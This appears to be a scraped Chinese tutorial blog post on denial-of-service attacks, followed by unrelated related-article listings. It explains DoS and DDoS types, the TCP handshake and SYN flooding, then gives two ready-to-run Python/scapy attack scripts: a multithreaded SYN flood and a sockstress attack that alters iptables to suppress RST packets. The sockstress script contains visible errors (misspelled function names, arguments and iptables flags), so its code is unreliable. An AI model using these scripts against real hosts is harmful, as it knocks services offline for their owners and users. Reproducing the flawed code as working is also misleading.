Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)

DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)

历史

以前:欠缺技术能力,ping死你(难缠)

现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)

D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)

D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。

从攻击者到受害者------网络---》FW--》服务器---》服务应用

资源耗尽------

网络:带宽

FW:吞吐量,并发连接

服务器:CPU,内存,I/O

应用:处理请求能力,对OS资源的使用权

程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞

Syn-Flood---常伴随ip欺骗

IP地址欺骗

经常用于dos攻击

根据ip头地址寻址(可以伪造ip源地址)

边界路由器过滤(入站,出站)

受害者可能是源,目的地址

绕过基于地址的验证

压力测试模拟多用户

上层协议(TCP序列号)

客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgment)
 
第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击

python实现攻击

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
    print "举例: ./syn_flood.py 1.1.1.1 80 20"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 0 == 0:
    sleep(1)

抓包查看

Sockstress

针对tcp服务的拒绝服务攻击

消耗目标操作系统资源

与攻击目标建立大量的socket链接

完成三次握手,最后的ack包windows为0(客户端不接收数据)

攻击者资源消耗小(cpu,内存,带宽)

异步攻击,单机可对抗高配资源服务器

windows窗口实现的tcp流控

防御措施:

直到今天sockstress攻击仍然是一种很有效的Dos攻击方式

由于建立完整的TCP三次握手,因此使用syn cookie防御无效

根本的防御办法是采用白名单,但是不实际

折中对策,限制单位时间内每秒连接超市的TCP连接数

python脚本实现:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
    print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport):
    while 0==0:
        try:
            x = random.randint(0,65535)
            response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal, frame):
    print '正在恢复 iptables 规则'
    os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

## 永远执行
while 0==0:
    sleep(1)

执行攻击并抓包查看

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

kali linux之拒绝服务的更多相关文章

  1. kali linux之拒绝服务攻击工具

    hping3 几乎可以定制发送任何TCP/IP数据包,用于测试FW,端口扫描,性能测试 -c - 计数包计数  -i - interval wait(uX表示X微秒,例如-i u1000)       ...

  2. Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击

    Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...

  3. ApacheCN Kali Linux 译文集 20211020 更新

    Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...

  4. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  5. kali linux之窥看女神上网隐私(ettercap+wireshark+zenmap +dsniff)

    作者:小波 http://www.cnblogs.com/xiaobo-Linux/ 无聊就玩了玩,不要干一些坏事哟~~网上也有一些文章关于kali linux的,就实战了一番.kali是用的debi ...

  6. KALI Linux problems & Study Red Hat | Ubuntu

    Problem When you ask some website with https head.you may met the problem  secure connection failed ...

  7. 调整Kali Linux的锁屏时间

    调整Kali Linux的锁屏时间   锁屏是保护隐私的一种重要机制.当用户不操作电脑一段时间后,系统会进入锁屏状态.用户需要输入口令,才能重新进入系统.避免因为操作人员离开电脑后,被其他人员利用现有 ...

  8. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  9. windows下 安装Kali Linux到 U盘的方法

    作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...

随机推荐

  1. MVC中Ajax post 和Ajax Get——提交对象Model

    HTTP 请求:GET vs. POST两种在客户端和服务器端进行请求-响应的常用方法是:GET 和 POST.GET - 从指定的资源请求数据POST - 向指定的资源提交要处理的数据GET 基本上 ...

  2. mysql索引原理与慢查询优化2

    七 正确使用索引 一 索引未命中 并不是说我们创建了索引就一定会加快查询速度,若想利用索引达到预想的提高查询速度的效果,我们在添加索引时,必须遵循以下问题 1 范围问题,或者说条件不明确,条件中出现这 ...

  3. 代码说明call和apply方法的区别 (咱们这方面讲解的少,这样的题有变式,需要举例讲解一下)

    这两个都是函数的方法,可以改变this的指向,fn.call(obj,param1,param2,…) call传入单个参数 fn.apply(obj,[param1,param2,...]) app ...

  4. 04.CSS的继承性和层叠性

    CSS有两大特性:  继承性和层叠性 继承性 面向对象语言都会存在继承的概念 , 在面向对象语言中, 继承的特点:  继承了父类的属性和方法.  那么 css  就是在设置属性的 ,  不会牵扯到方法 ...

  5. 初学Python--列表(List)

    1.索引 列表中的元素类型未必统一,如: listExample=[1,2,'a','b'] 元素下标索引以0开始 firstEle=listExample[0] 不能进行越界索引,但可以倒序索引 l ...

  6. Android使用简单的Service

    首先要自定义一个Service,设定它在后台要干什么. public class MyService extends Service { @Nullable @Override public IBin ...

  7. leetcode905

    vector<int> sortArrayByParity(vector<int>& A) { vector<int> EVEN;//偶数 vector&l ...

  8. Hadoop IO基于文件的数据结构详解【列式和行式数据结构的存储策略】

    Charles所有关于hadoop的文章参考自hadoop权威指南第四版预览版 大家可以去safari免费阅读其英文预览版.本人也上传了PDF版本在我的资源中可以免费下载,不需要C币,点击这里下载. ...

  9. PHP配置数据库XML文件

    <?php $doc=new DOMDocument('1.0','utf-8'); //new一个dom对象 $doc->load("config.xml"); 加载 ...

  10. 在Ubuntu安装Tomcat7.0及开机自动运行

    在Ubuntu安装Tomcat7.0及开机自动运行 1.安装装Tomcat7.0 一般都是绿色版的,下载一个tomcat7.0解开到指定的目录上即可 然后进入tomcat目录的bin文件夹,执行 su ...